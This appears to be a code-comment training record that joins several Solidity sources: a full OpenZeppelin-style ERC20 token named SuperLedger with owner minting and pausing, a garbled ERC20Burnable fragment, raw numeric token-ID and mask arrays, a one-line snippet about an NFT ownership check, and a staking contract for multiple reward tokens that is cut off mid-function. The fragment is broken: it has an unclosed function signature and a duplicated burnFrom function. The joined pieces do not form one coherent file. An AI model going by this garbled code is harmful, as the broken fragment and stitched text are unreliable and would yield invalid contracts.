both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SuperLedger is ERC20, ERC20Burnable, Pausable, Ownable { constructor() ERC20("SuperLedger", "SLG") { _mint(msg.sender, 1000000000 * 10 ** decimals()); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } }
* @dev Extension of {ERC20} that allows token holders to destroy both their own tokens and those that they have an allowance for, in a way that can be recognized off-chain (via event analysis)./
abstract contract ERC20Burnable is Context, ERC20 { function _beforeTokenTransfer( address from, address to, uint256 amount } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } }
5,723,816
[ 1, 3625, 434, 288, 654, 39, 3462, 97, 716, 5360, 1147, 366, 4665, 358, 5546, 3937, 3675, 4953, 2430, 471, 5348, 716, 2898, 1240, 392, 1699, 1359, 364, 16, 316, 279, 4031, 716, 848, 506, 16332, 3397, 17, 5639, 261, 21985, 871, 6285, 2934, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 3462, 38, 321, 429, 353, 1772, 16, 4232, 39, 3462, 288, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 565, 445, 18305, 12, 11890, 5034, 3844, 13, 1071, 5024, 288, 203, 3639, 389, 70, 321, 24899, 3576, 12021, 9334, 3844, 1769, 203, 565, 289, 203, 203, 565, 445, 18305, 1265, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 1071, 5024, 288, 203, 3639, 2254, 5034, 783, 7009, 1359, 273, 1699, 1359, 12, 4631, 16, 389, 3576, 12021, 10663, 203, 3639, 2583, 12, 2972, 7009, 1359, 1545, 3844, 16, 315, 654, 39, 3462, 30, 18305, 3844, 14399, 1699, 1359, 8863, 203, 3639, 22893, 288, 203, 5411, 389, 12908, 537, 12, 4631, 16, 389, 3576, 12021, 9334, 783, 7009, 1359, 300, 3844, 1769, 203, 3639, 289, 203, 3639, 389, 70, 321, 12, 4631, 16, 3844, 1769, 203, 565, 289, 203, 565, 445, 18305, 1265, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 1071, 5024, 288, 203, 3639, 2254, 5034, 783, 7009, 1359, 273, 1699, 1359, 12, 4631, 16, 389, 3576, 12021, 10663, 203, 3639, 2583, 12, 2972, 7009, 1359, 1545, 3844, 16, 315, 654, 39, 3462, 30, 18305, 3844, 14399, 1699, 1359, 8863, 203, 3639, 22893, 288, 203, 5411, 389, 12908, 537, 12, 4631, 16, 389, 3576, 12021, 9334, 783, 7009, 1359, 300, 3844, 1769, 203, 3639, 289, 203, 3639, 389, 70, 321, 12, 4631, 16, 3844, 1769, 203, 565, 289, 203, 97, 2 ]
./full_match/1/0xBcbba981bFf1E9530CbcA0f40F67Aa85F8944038/sources/src/x-key/XRaffleBase.sol
must own the required NFT
_checkOwnsNFT(requiredOwnership, vault);
9,610,575
[ 1, 11926, 4953, 326, 1931, 423, 4464, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 1893, 3494, 2387, 50, 4464, 12, 4718, 5460, 12565, 16, 9229, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; contract MultiRewardTokenPool is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, uint256 indexed lockedId, uint256 penlaty); event PoolAdded(uint256 pid, address indexed stakedToken, uint256 allocPoint); event PoolSetted(uint256 pid, address indexed stakedToken, uint256 allocPoint); event RewardTokenAdded(address indexed rewardToken, uint256 decimals, uint256 rid); struct LockedInfo { uint256 amount; uint256 stakedTime; uint256 expireTime; uint256 unlockTime; bool isWithdrawed; } // Info of each user. struct UserInfo { uint256 totalAmount; // How many staked tokens the user has provided. // Reward debt corresponding rid mapping (uint256 => uint256) rewardDebt; LockedInfo[] lockedInfo; } // Info of each pools. struct PoolInfo { IERC20 stakedToken; uint256 allocPoint; // lastReardBlock corresponding rid mapping (uint256 => uint256) lastRewardBlock; // accRewardPerShare corresponding rid mapping (uint256 => uint256) accRewardPerShare; uint256 totalAmount; uint256 totalStakedAddress; } struct RewardTokenInfo { IERC20 rewardToken; string symbol; uint256 decimals; uint256 magicNumber; uint256 startBlock; uint256 endBlock; uint256 rewardPerBlock; uint256 tokenRemaining; uint256 tokenRewarded; uint256 rid; } RewardTokenInfo[] public rewardTokenInfo; PoolInfo[] public poolInfo; // Info of each user that stakes tokens corresponding pid mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Is staked address corresponding pid mapping (uint256 => mapping (address => bool)) isStakedAddress; uint256 public totalAllocPoint; uint256 public rewardCycle = 7 days; uint256 public lockedTime = 30 days; uint256 public phase1Time = 10 days; uint256 public phase2Time = 20 days; uint256 public PENLATY_RATIO1 = 30; uint256 public PENLATY_RATIO2 = 20; uint256 public PENLATY_RATIO3 = 10; // Speed of block, default every block / 3s on Heco chain uint256 public blockSpeed = 3; // pid corresponding pool staked token address mapping(address => uint256) public pidOfPool; // rid corresponding reward token address mapping(address => uint256) public ridOfReward; mapping(uint256 => address) public setterOfRid; mapping(address => bool) public isExistedRewardToken; EnumerableSet.AddressSet private _setter; address public BLACK_HOLE; modifier onlySetter() { require(isSetter(msg.sender), "MultiRewardTokenPool: Not the setter"); _; } constructor(address _blackHole) public { BLACK_HOLE = _blackHole; EnumerableSet.add(_setter, msg.sender); } function getSetterLength() public view returns (uint256) { return EnumerableSet.length(_setter); } function isSetter(address _set) public view returns (bool) { return EnumerableSet.contains(_setter, _set); } function getSetter(uint256 _index) public view returns (address){ require(_index <= getSetterLength() - 1, "MultiRewardTokenPool: index out of bounds"); return EnumerableSet.at(_setter, _index); } function getRewardTokenInfo() external view returns(RewardTokenInfo[] memory) { return rewardTokenInfo; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to.sub(_from); } function getUserLockedInfo(uint256 _pid, address _user) public view returns(LockedInfo[] memory) { UserInfo memory user = userInfo[_pid][_user]; return user.lockedInfo; } function getCurrentBlock() public view returns(uint256) { return block.number; } function getUserLockedAmount(uint256 _pid, address _user) public view returns(uint256) { UserInfo memory user = userInfo[_pid][_user]; LockedInfo[] memory lockedInfo = user.lockedInfo; uint256 lockedAmount = 0; for(uint i = 0; i < lockedInfo.length; i++) { if (lockedInfo[i].expireTime > block.timestamp && !lockedInfo[i].isWithdrawed) { lockedAmount = lockedAmount.add(lockedInfo[i].amount); } } return lockedAmount; } function pendingRewards(uint256 _rid, uint256 _pid, address _user) public view returns(uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; RewardTokenInfo storage token = rewardTokenInfo[_rid]; uint256 accRewardPerShare = pool.accRewardPerShare[_rid]; uint256 lastRewardBlock = pool.lastRewardBlock[_rid]; uint256 stakedTokenSupply = pool.stakedToken.balanceOf(address(this)); if (block.number > lastRewardBlock && stakedTokenSupply != 0) { uint256 multiplier = getMultiplier(lastRewardBlock, block.number); uint256 tokenReward = multiplier.mul(token.rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); if (tokenReward > token.tokenRemaining) { // In case of insufficient supply to reward tokenReward = token.tokenRemaining; } accRewardPerShare = accRewardPerShare.add(tokenReward.mul(token.magicNumber).div(stakedTokenSupply)); } return user.totalAmount.mul(accRewardPerShare).div(token.magicNumber).sub(user.rewardDebt[_rid]); } function updatePool(uint256 _pid, uint256 _rid) public { PoolInfo storage pool = poolInfo[_pid]; RewardTokenInfo storage token = rewardTokenInfo[_rid]; uint256 lastRewardBlock = pool.lastRewardBlock[_rid]; if (block.number <= lastRewardBlock) { return; } uint256 stakedTokenSupply = pool.stakedToken.balanceOf(address(this)); if (stakedTokenSupply == 0 || token.tokenRemaining == 0) { pool.lastRewardBlock[_rid] = block.number; return; } uint256 multiplier = getMultiplier(lastRewardBlock, block.number); uint256 tokenReward = multiplier.mul(token.rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); if (tokenReward > token.tokenRemaining) { // In case of insufficient supply to reward tokenReward = token.tokenRemaining; token.tokenRemaining = 0; } else { token.tokenRemaining = token.tokenRemaining.sub(tokenReward); } token.tokenRewarded = token.tokenRewarded.add(tokenReward); pool.accRewardPerShare[_rid] = pool.accRewardPerShare[_rid].add(tokenReward.mul(token.magicNumber).div(stakedTokenSupply)); pool.lastRewardBlock[_rid] = block.number; } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { for (uint256 rid = 0; rid < rewardTokenInfo.length; ++rid) { updatePool(pid, rid); } } } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; address _user = msg.sender; UserInfo storage user = userInfo[_pid][_user]; for (uint256 rid = 0; rid < rewardTokenInfo.length; ++rid) { updatePool(_pid, rid); if (user.totalAmount > 0) { uint256 pending = user.totalAmount.mul(pool.accRewardPerShare[rid]).div(rewardTokenInfo[rid].magicNumber).sub(user.rewardDebt[rid]); if(pending > 0) { _safeTokenTransfer(rewardTokenInfo[rid].rewardToken, msg.sender, pending); } } } if(_amount > 0) { pool.stakedToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.totalAmount = user.totalAmount.add(_amount); pool.totalAmount = pool.totalAmount.add(_amount); user.lockedInfo.push(LockedInfo( _amount, block.timestamp, block.timestamp.add(lockedTime), 0, false )); if (!isStakedAddress[_pid][_user]) { isStakedAddress[_pid][_user] = true; pool.totalStakedAddress = pool.totalStakedAddress.add(1); } } for (uint256 rid = 0; rid < rewardTokenInfo.length; ++rid) { user.rewardDebt[rid] = user.totalAmount.mul(pool.accRewardPerShare[rid]).div(rewardTokenInfo[rid].magicNumber); } emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount, uint256 _lockedId) public { PoolInfo storage pool = poolInfo[_pid]; address _user = msg.sender; UserInfo storage user = userInfo[_pid][_user]; for (uint256 rid = 0; rid < rewardTokenInfo.length; ++rid) { updatePool(_pid, rid); if (user.totalAmount > 0) { uint256 pending = user.totalAmount.mul(pool.accRewardPerShare[rid]).div(rewardTokenInfo[rid].magicNumber).sub(user.rewardDebt[rid]); if(pending > 0) { _safeTokenTransfer(rewardTokenInfo[rid].rewardToken, msg.sender, pending); } } } uint256 penlaty = 0; if (_amount > 0) { require(!user.lockedInfo[_lockedId].isWithdrawed, "MultiRewardTokenPool: This amount of lockedId is withdrawed"); require(user.lockedInfo[_lockedId].amount == _amount, "MultiRewardTokenPool: Invalid amount of lockedId"); uint256 expireTime = user.lockedInfo[_lockedId].expireTime; uint256 stakedTime = user.lockedInfo[_lockedId].stakedTime; if (expireTime < block.timestamp) { pool.stakedToken.safeTransfer(address(msg.sender), _amount); } else { uint256 interval = block.timestamp - stakedTime; if (interval <= phase1Time) { penlaty = _amount.mul(PENLATY_RATIO1).div(100); } else if (interval <= phase2Time) { penlaty = _amount.mul(PENLATY_RATIO2).div(100); } else { penlaty = _amount.mul(PENLATY_RATIO3).div(100); } pool.stakedToken.safeTransfer(address(msg.sender), _amount.sub(penlaty)); // transfer penlaty to black hole address pool.stakedToken.safeTransfer(BLACK_HOLE, penlaty); } user.lockedInfo[_lockedId].unlockTime = block.timestamp; user.totalAmount = user.totalAmount.sub(_amount); pool.totalAmount = pool.totalAmount.sub(_amount); _setIsWithdrawedToTrue(_pid, msg.sender, _lockedId); if (user.totalAmount == 0) { isStakedAddress[_pid][_user] = false; pool.totalStakedAddress = pool.totalStakedAddress.sub(1); } } for (uint256 rid = 0; rid < rewardTokenInfo.length; ++rid) { user.rewardDebt[rid] = user.totalAmount.mul(pool.accRewardPerShare[rid]).div(rewardTokenInfo[rid].magicNumber); } emit Withdraw(msg.sender, _pid, _amount, _lockedId, penlaty); } // ======== INTERNAL METHODS ========= // function _safeTokenTransfer(IERC20 _token, address _to, uint256 _amount) internal { uint256 tokenBal = _token.balanceOf(address(this)); if (_amount > tokenBal) { _token.transfer(_to, tokenBal); } else { _token.transfer(_to, _amount); } } function _setIsWithdrawedToTrue(uint256 _pid, address _user, uint256 _lockedId) internal { UserInfo storage user = userInfo[_pid][_user]; user.lockedInfo[_lockedId].isWithdrawed = true; } mapping(uint256 => PoolInfo) private newPool; // ======== ONLY OWNER CONTROL METHODS ========== // function addSetter(address _newSetter) public onlyOwner returns (bool) { require(_newSetter != address(0), "MultiRewardTokenPool: NewSetter is the zero address"); return EnumerableSet.add(_setter, _newSetter); } function delSetter(address _delSetter) public onlyOwner returns (bool) { require(_delSetter != address(0), "MultiRewardTokenPool: DelSetter is the zero address"); return EnumerableSet.remove(_setter, _delSetter); } function addPool( uint256 _allocPoint, IERC20 _stakedToken, bool _withUpdate ) external onlyOwner { if (_withUpdate) { 